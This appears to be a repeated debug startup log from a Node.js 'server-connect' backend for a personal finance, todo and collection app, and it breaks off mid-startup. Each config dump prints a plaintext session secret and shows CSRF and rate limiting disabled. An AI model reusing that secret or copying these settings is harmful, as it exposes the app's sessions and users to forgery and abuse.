  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T08:50:50.690Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T08:50:50.763Z server-connect:setup:upload Upload middleware configured.
2026-07-24T08:50:50.763Z server-connect:secure CSRF Protection initialized
2026-07-24T08:50:50.765Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T08:50:50.765Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T08:50:50.766Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T08:50:50.766Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T08:50:50.766Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T08:50:50.767Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T08:50:50.777Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T08:50:50.778Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T08:50:50.779Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T08:50:50.779Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T08:50:50.779Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T08:50:50.780Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T08:50:50.780Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T08:50:50.781Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T08:50:50.781Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T08:50:50.784Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T08:50:50.784Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T08:50:50.784Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T08:50:50.785Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T08:50:50.785Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T08:50:50.785Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T08:50:50.786Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T08:50:50.786Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T08:50:50.786Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T08:50:50.786Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T08:50:50.787Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T08:50:50.787Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T08:50:50.787Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T08:50:50.787Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T08:50:50.788Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T08:50:50.789Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T08:50:50.789Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T08:50:50.789Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T09:13:02.756Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T09:13:02.938Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T09:13:03.029Z server-connect:setup:upload Upload middleware configured.
2026-07-24T09:13:03.030Z server-connect:secure CSRF Protection initialized
2026-07-24T09:13:03.031Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T09:13:03.032Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T09:13:03.032Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T09:13:03.033Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T09:13:03.033Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T09:13:03.034Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T09:13:03.036Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T09:13:03.037Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T09:13:03.038Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T09:13:03.038Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T09:13:03.038Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T09:13:03.039Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T09:13:03.039Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T09:13:03.040Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T09:13:03.040Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T09:13:03.041Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T09:13:03.043Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T09:13:03.044Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T09:13:03.076Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T09:13:03.077Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T09:13:03.077Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T09:13:03.078Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T09:13:03.078Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T09:13:03.078Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T09:13:03.078Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T09:13:03.078Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T09:13:03.079Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T09:13:03.079Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T09:13:03.079Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T09:13:03.079Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T09:13:03.079Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T09:13:03.080Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T09:13:03.080Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T09:13:03.080Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T09:13:03.080Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T09:13:03.080Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T09:13:03.081Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T09:13:03.081Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T09:46:17.692Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T09:46:20.815Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T09:46:21.676Z server-connect:setup:upload Upload middleware configured.
2026-07-24T09:46:21.677Z server-connect:secure CSRF Protection initialized
2026-07-24T09:46:21.681Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T09:46:21.682Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T09:46:21.686Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T09:46:21.687Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T09:46:21.694Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T09:46:21.696Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T09:46:21.712Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T09:46:21.725Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T09:46:21.730Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T09:46:21.731Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T09:46:21.731Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T09:46:21.736Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T09:46:21.742Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T09:46:21.751Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T09:46:21.755Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T09:46:21.763Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T09:46:21.765Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T09:46:21.769Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T09:46:21.775Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T09:46:21.779Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T09:46:21.780Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T09:46:21.790Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T09:46:21.790Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T09:46:21.796Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T09:46:21.799Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T09:46:21.803Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T09:46:21.803Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T09:46:21.807Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T09:46:21.814Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T09:46:21.816Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T09:46:21.819Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T09:46:21.819Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T09:46:21.824Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T09:46:21.826Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T09:46:21.831Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T09:46:21.835Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T09:46:21.837Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T09:46:21.847Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T09:46:22.285Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T09:46:22.452Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T09:46:22.549Z server-connect:setup:upload Upload middleware configured.
2026-07-24T09:46:22.549Z server-connect:secure CSRF Protection initialized
2026-07-24T09:46:22.551Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T09:46:22.552Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T09:46:22.552Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T09:46:22.552Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T09:46:22.553Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T09:46:22.553Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T09:46:22.556Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T09:46:22.557Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T09:46:22.579Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T09:46:22.580Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T09:46:22.581Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T09:46:22.581Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T09:46:22.582Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T09:46:22.583Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T09:46:22.583Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T09:46:22.583Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T09:46:22.584Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T09:46:22.584Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T09:46:22.584Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T09:46:22.585Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T09:46:22.585Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T09:46:22.585Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T09:46:22.586Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T09:46:22.586Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T09:46:22.586Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T09:46:22.586Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T09:46:22.587Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T09:46:22.587Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T09:46:22.587Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T09:46:22.587Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T09:46:22.587Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T09:46:22.588Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T09:46:22.588Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T09:46:22.588Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T09:46:22.588Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T09:46:22.588Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T09:46:22.589Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T09:46:22.589Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T09:47:39.842Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T09:47:40.022Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T09:47:40.106Z server-connect:setup:upload Upload middleware configured.
2026-07-24T09:47:40.107Z server-connect:secure CSRF Protection initialized
2026-07-24T09:47:40.109Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T09:47:40.109Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T09:47:40.110Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T09:47:40.110Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T09:47:40.111Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T09:47:40.112Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T09:47:40.114Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T09:47:40.115Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T09:47:40.115Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T09:47:40.116Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T09:47:40.116Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T09:47:40.116Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T09:47:40.117Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T09:47:40.117Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T09:47:40.118Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T09:47:40.121Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T09:47:40.121Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T09:47:40.122Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T09:47:40.122Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T09:47:40.122Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T09:47:40.123Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T09:47:40.123Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T09:47:40.123Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T09:47:40.124Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T09:47:40.124Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T09:47:40.124Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T09:47:40.124Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T09:47:40.125Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T09:47:40.125Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T09:47:40.125Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T09:47:40.125Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T09:47:40.125Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T09:47:40.126Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T09:47:40.126Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T09:47:40.126Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T09:47:40.126Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T09:47:40.126Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T09:47:40.127Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T10:06:02.833Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T10:06:03.024Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T10:06:03.110Z server-connect:setup:upload Upload middleware configured.
2026-07-24T10:06:03.110Z server-connect:secure CSRF Protection initialized
2026-07-24T10:06:03.112Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T10:06:03.113Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T10:06:03.113Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T10:06:03.114Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T10:06:03.114Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T10:06:03.115Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T10:06:03.117Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T10:06:03.117Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T10:06:03.118Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T10:06:03.118Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T10:06:03.119Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T10:06:03.119Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T10:06:03.120Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T10:06:03.120Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T10:06:03.120Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T10:06:03.123Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T10:06:03.124Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T10:06:03.124Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T10:06:03.124Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T10:06:03.125Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T10:06:03.125Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T10:06:03.125Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T10:06:03.126Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T10:06:03.126Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T10:06:03.126Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T10:06:03.126Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T10:06:03.127Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T10:06:03.127Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T10:06:03.127Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T10:06:03.127Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T10:06:03.127Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T10:06:03.128Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T10:06:03.129Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T10:06:51.304Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T10:06:51.497Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T10:06:51.582Z server-connect:setup:upload Upload middleware configured.
2026-07-24T10:06:51.583Z server-connect:secure CSRF Protection initialized
2026-07-24T10:06:51.584Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T10:06:51.585Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T10:06:51.585Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T10:06:51.586Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T10:06:51.586Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T10:06:51.588Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T10:06:51.590Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T10:06:51.591Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T10:06:51.592Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T10:06:51.592Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T10:06:51.595Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T10:06:51.596Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T10:06:51.596Z server-connect:setup:routes Api route /api/expense/list(.json)? created
